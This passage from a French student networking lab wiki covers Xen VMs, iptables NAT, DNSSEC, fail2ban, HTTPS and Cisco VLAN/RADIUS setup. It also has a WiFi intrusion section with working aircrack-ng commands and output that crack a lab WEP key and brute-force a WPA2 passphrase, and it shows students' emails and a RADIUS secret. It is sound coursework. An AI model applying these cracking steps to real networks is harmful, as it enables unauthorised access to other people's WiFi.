apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&#039;&#039;&#039;/!\&#039;&#039;&#039; Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une &#039;&#039;&#039;clé USB Wifi&#039;&#039;&#039; pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s&#039;arrête au 13 donc je dois prendre la &#039;&#039;&#039;cracotte02&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;&#039;&#039;&#039;identifier l&#039;interface WIFI&#039;&#039;&#039; qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;identifier l&#039;adresse IP de notre cracotte02&#039;&#039;&#039;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l&#039;adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons &#039;&#039;&#039;lancer le cassage&#039;&#039;&#039; de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour &#039;&#039;&#039;voir si la clé à été trouvée&#039;&#039;&#039; (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s&#039;intéresse maintenant à la &#039;&#039;&#039;kracotte02&#039;&#039;&#039; (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un &#039;&#039;&#039;fichier Python&#039;&#039;&#039; un dictionnaire contenant &#039;&#039;&#039;toutes les possibilités sur 8 chiffres&#039;&#039;&#039;. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12262</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12262"/>
		<updated>2026-02-12T15:49:01Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : &#039;&#039;&#039;192.168.69.0/24&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
